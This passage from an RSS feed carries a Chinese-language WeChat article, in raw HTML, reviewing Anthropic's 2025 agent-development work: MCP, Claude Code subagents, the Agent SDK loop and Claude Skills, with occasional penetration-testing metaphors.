4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">.md</span></code><span leaf=""> 文件和脚本的 </span><code style="background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">.zip</span></code><span leaf=""> 压缩包。这种极简的、与技术栈无关的分发方式，意味着巨大的潜力。相比于复杂的插件系统、专有的平台或笨重的框架，一个简单的压缩包 + 一套简明的配置规范，往往拥有更强的生命力和传播力。这在技术史上屡见不鲜，就像当年简单的 REST/JSON 如何在与复杂的 SOAP/XML 的竞争中最终胜出一样，</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">更简单的东西，往往跑得更快、更远</span></strong><span leaf="">。 </span></p></li></ol><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><span leaf="">Skill 的探索才刚刚开始，但它所揭示的关于“人如何赋予 AI 智慧”的思考，无疑为我们打开了一扇全新的大门。</span></p></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1cc07a72&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4NzQwNzY3OQ%3D%3D%26mid%3D2247484000%26idx%3D1%26sn%3D7a68f4f827e6af0c3e5443ed60582bf6">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 08 Jan 2026 08:00:00 +0800</pubDate>
    </item>
    <item>
      <title>2025年终复盘：Anthropic 如何定义 Agent 开发的 iPhone 时刻</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4NzQwNzY3OQ==&amp;mid=2247483992&amp;idx=1&amp;sn=172dde972e1286c089fdc6623fab22c7</link>
      <description>2025年，Anthropic 将 MCP 塑造成事实标准，引领 agent 开发的潮流。</description>
      <content:encoded><![CDATA[<p>原创 <span>黑屋Ω号</span> <span>2026-01-03 19:59</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=076d4144&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F5r3L9YiaerKeNb4RIIpJANUrpmb4sXHDIiaiaMiapmnpGC6hxpRtHFNCcvJr0Zh3uHXF6zBxghu5QVliajtv9lBsbibA%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>2025年，Anthropic 将 MCP 塑造成事实标准，引领 agent 开发的潮流。</p>
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="font-size: 24px;color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">引子</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">元旦假期，窗外的喧嚣被玻璃轻轻隔开，我在卧室的昏黄灯下，百无聊赖地刷着 X。鼠标像一只谨慎的指针在时间里游走，忽然停在 Anthropic 发布的一条关于 Skills 的推文上——那种把能力拆成文件夹、指令与脚本的朴素方式，像是把复杂的机关分解为可把握的零件，让人忍不住点开、再点开。好奇心驱使我沿着链接一路深入，越看越觉得这设计的简洁和分寸，恰好避开了夸张与花哨，只留下能被复用的秩序与温度。也正是从这里，我开始确信：所谓 Agent 开发的“iPhone 时刻”，不是一场华丽的发布，而是一个简单、务实的标准，沉入每一位开发者的日常，像冰面下的潜流，改写了潮水的方向。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Anthropic 在这一年里，以一种近乎克制的方式，串联起五条关键线索：从模型上下文协议（MCP）成为事实标准，到 Claude Code 与 Subagent 协作范式的重塑；从 Agent SDK 核心循环的开发者心智解放，到 Claude Skills 在能力分发上的崭新路径；最终，在与 Google A2A 宏大叙事的对照中，彰显出一种根植于现实的生长力量。这五条线索交织，描绘出 2025 年这场静默革命的全貌。</span></p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="font-size: 24px;color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">共识的基石：MCP 的悄然加冕</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在 Agent 概念初生的混沌年代，开发者们正身陷一场无形的“巴别塔”困境。每一个独立的 AI 应用，都像一个说着独特方言的部落，当它试图与外部世界——无论是数据库、API 还是本地文件——沟通时，都必须费力地打造一套专属的“翻译器”，也就是所谓的“胶水代码”。这种 N×M 的集成难题，如同无数重复发明的轮子，极大地消耗着创新的动能。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Anthropic 在 2024 年底悄然发布的模型上下文协议（MCP），正是为终结这场混乱而生。[16] 它的核心思想朴素：一种基于 JSON-RPC 的开放约定，旨在为 AI 的“大脑”与外部的“世界”之间，提供一种统一的对话范式。若将 Agent 喻为一位思考者，MCP 便是它的四肢与感官，让它得以“触摸”数据，“听见”事件，并“操控”工具。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这种设计，对我而言，其精髓并不陌生。它像极了渗透测试初期建立滩头阵地时，所依赖的那种标准化“握手协议”。无论目标系统是 Windows 还是 Linux，是 Web 服务还是桌面应用，一个设计良好的 C2 通道，总能以最少的特征、最通用的方式建立连接，从而让后续的侦察与权限提升变得可能。MCP 的角色与此异曲同工，它不关心工具的具体实现，只关心能否通过一种可预测的方式被“调用”。这种简单性，恰恰是其力量的源泉。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">一个标准的成功，不在于其设计的完美无缺，而在于其能否吸引最广泛的“使用者”自发地聚集。2025 年，MCP 的加冕之路，正是由开发者、竞争对手与服务商共同铺就。从微软的 Visual Studio Code 到新兴的 AI 原生 IDE 如 Trae、Cursor，开发者们最常驻留的“阵地”率先拥抱了这套协议。[104]紧接着，行业巨头 OpenAI 做出了一个标志性的决定——在其 Agent SDK 中全面接纳 MCP，用一个统一的接口取代了过去碎片化的插件体系。[53]这无异于宣告，两大阵营就“Agent 如何与世界互动”这一根本问题，达成了停战协议。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">当供给与需求两端都开始讲同一种“语言”，一个繁荣的生态便自然而然地涌现。到 2025 年底，从 GitHub 的代码管理，到 Slack 的团队协作，再到国内的飞书、高德地图，数以万计的 MCP Server 如雨后春笋般出现，将真实世界的数字服务源源不断地接入 Agent 的感知范围。[122] [128]</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这恰好呼应了 NVIDIA 创始人 Jensen Huang 在去年 12 月初那场关于 AI 领导力的谈话。当被问及 AI 的终局，他并未描绘一个“天网”般的超级智能，而是认为 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">AI 的最终形态将是成为基础设施</span></strong><span leaf=""> ，如同电力和互联网一样，无声地融入经济与社会的背景之中。MCP 在 2025 年的演进轨迹，正是这一判断的绝佳注脚。它从一个由 Anthropic 发起的提案，最终被捐赠给中立的 Agentic AI 基金会，与 OpenAI、Google、微软等昔日或今日的对手共同管理，完成了从“私有产物”到“公共设施”的蜕变。[15] [128]</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">它没有强迫任何人，却最终说服了所有人。共识的基石，由此奠定。</span></p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="font-size: 24px;color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">“共创”的乐谱：终端与意志的二重奏</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">如果说 MCP 为 Agent 连接了广阔的外部世界，那么 Claude Code 则将目光投向了更幽深的内部——开发者与代码之间那片充满创造与混沌的场域。它所尝试回答的，是一个更为核心的问题：一个 AI，如何能从一个“代码补全工具”进化为一名真正的“开发搭子”？</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">2025 年的开发者工具之争，呈现出几种不同的哲学分野。[2] [3]GitHub Copilot 根植于 IDE，像一位时刻待命的副驾驶，擅长在开发者主导的迭代中提供精妙的代码片段。Cursor 则更进一步，试图打造一个“AI 优先”的集成开发环境，将 AI 的能力贯穿于编辑、调试的每个角落。而 Claude Code，则选择了一条看似更为复古，实则更具野心的道路：“终端优先，仓库感知”。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">它不再满足于在图形界面中充当一个被动的建议者，而是将自己定位为一个能通过命令行与开发者直接对话、能感知整个代码仓库上下文的“智能协行者”。当接收到“为项目添加 OAuth 登录功能”这样一个略显模糊的指令时，它所展现的，是一种端到端的自主性：规划任务、定位文件、编写新模块、修改旧代码，甚至调用 Git 创建新的分支。这种工作流，与其说是在“辅助”编程，不如说是在进行一场真正的“结对编程”。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这种能力的背后，是一项名为“Subagent”（子智能体）的架构创新。[144]这个概念，如同在一次复杂的渗透测试中，将不同的攻击载荷（payload）封装在各自独立的、一次性的执行环境中。主程序只负责在恰当的时机投递恰当的载荷，而不关心其内部的具体实现。这样做的好处显而易见：</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">首先是</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">执行的鲁棒性</span></strong><span leaf="">。一个复杂的开发任务，如“生成 API 客户端并编写测试用例”，被拆解成独立的子步骤。任何一个 Subagent 的失败，都像是投入目标网络的一个探测器失联了，它不会污染主任务的状态，主 Agent 可以从容地决定重试、切换备用方案，或是向人类开发者“举手”求助。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">其次是</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">上下文的纯净度</span></strong><span leaf="">。让一个单一的 LLM 实例处理所有中间过程的日志与输出，就像在一个狭小的房间里堆满各种工具和半成品，最终会因为混乱而忘记最初的目标。Subagent 架构则为每个子任务提供了隔离的“沙箱”，主 Agent 的“思维链”只保留高层级的战略规划与最终战果，极大地提升了对长线、复杂任务的专注力。[94]</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这种“分而治之”的理念，正在成为一种管理 Agent 复杂性的通用范式，并开始被其他工作流自动化平台所借鉴。[87]它标志着 AI 辅助开发，终于从“语句级”的修补，进化到了“建筑级”的共创。</span></p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="font-size: 24px;color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">“思考循环”的解放：从实现到编排</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">当 Agent 拥有了“四肢”（MCP）与“工作方式”（Subagent），如何让每一个普通开发者都能轻松地驾驭这种力量，便成了下一个关键。Anthropic 在 2025 年推出的 Agent SDK，其核心价值便在于此。它为开发者提供了一套开箱即用的“Think–Act–Observe”（思考-行动-观察）循环。[94] [95]</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这个循环，是所有智能体与环境交互的本质。在 SDK 出现之前，开发者需要像早期程序员手动管理内存分配一样，亲手构建这个循环的每一个细节：如何将观察到的信息打包成提示词（Think），如何解析模型的指令并执行（Act），又如何捕获行动的结果作为下一次思考的输入（Observe）。这个过程充满了状态管理、错误处理、循环控制等繁琐的工程细节，消耗了开发者大量心力。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Agent SDK 的出现，如同为编程语言引入了垃圾回收机制。它将这个核心循环封装成一个健壮、可配置的控制器，将开发者的角色从“循环的实现者”转变为“能力的编排者”。开发者不再需要关心循环本身如何运转，而是可以将精力聚焦于更高层次的三个问题：我的 Agent 目标是什么？它能使用哪些工具？它应该在何时与我互动？</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">从一线研发的视角来看，这种转变不仅仅是少写了几行代码。它意味着一种新的开发范式的诞生，</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">一种 Andrej Karpathy 在他 2025 年终总结中提到的，与 LLM 协同的“Vibe Coding”</span></strong><span leaf="">。开发者更多地是在设计工具集、定义 Subagent 的职责、规划上下文的压缩与回滚策略，而不是在琐碎的循环逻辑中挣扎。这种从“实现”到“编排”的跃迁，极大地降低了构建强大 Agent 的心智门槛，也为 AI 在 2025 年的普及铺平了最后一段道路。[145]</span></p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="font-size: 24px;color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">智能的封装与分发：代码与提示词的微妙平衡</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">2025 年 10 月，Anthropic 发布了一项看似微小，却可能比 MCP 协议本身更具深远影响的功能：Claude Skills。它以一种极为巧妙的方式，为 Agent 能力的扩展，在“代码的稳定性”与“提示词的灵活性”这对长期存在的矛盾之间，找到了一个近乎完美的平衡点。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在 Skills 出现之前，赋予 Agent 新能力不外乎两种途径。要么，将其硬编码为一个稳定的工具（如 MCP Server），这足够可靠，但每次迭代都意味着新的部署，显得过于“重”；要么，在提示词中用自然语言细致地描述步骤，这足够灵活，但极不稳定，且极易耗尽宝贵的上下文空间。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Skills 则提供了介于两者之间的第三条路。一个 Skill 的本质，仅仅是一个包含 SKILL.md 文件的目录。[33]这个 Markdown 文件，通过简单的头部元信息（Frontmatter）定义了能力的名称、描述和参数，供 Agent“发现”；而文件的正文，则用自然语言描述了执行该能力的具体步骤。更妙的是，这个目录中还可以包含额外的代码脚本。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">正如技术博主 Simon Willison 在其年度回顾中所惊叹的，</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">这种设计的核心魅力在于其“概念上的极致简单”。</span></strong><span leaf="">[78]它带来了一种“渐进式信息披露”的革命性机制：Agent 不再需要一次性将所有能力的细节全部加载到记忆中，它首先只读取元数据，构建一份“能力清单”。[31]只有当它决定使用某个 Skill 时，才会去阅读 SKILL.md 的正文，理解具体步骤。如果步骤中需要执行一段精确的代码，它才会去加载并执行那个脚本文件。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这种“按需加载”的模式，如同一个可插拔的 payload 模块库，极大地缓解了困扰 Agent 的上下文过载问题。同时，它也实现了代码与提示的黄金结合：描述部分是“提示”，给予了 Agent 理解任务的灵活性；而脚本文件是“代码”，保证了关键步骤执行的确定性。这使得 Skill 既易于创建（像写文档一样），又足够可靠。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">从能力分发的角度看，Skills 与 MCP 形成了一种绝佳的互补。MCP 更适合那些标准化的、由远端服务提供的“重能力”，如支付、地图查询；而 Skills 则完美契合那些高度个性化的、需要频繁迭代的“轻能力”或工作流编排，如“分析我公司的销售数据并生成周报”。分享一个 Skill，就像分享一个代码仓库一样简单，这为 Agent 能力的模块化与组合，打开了前所未有的想象空间。</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: 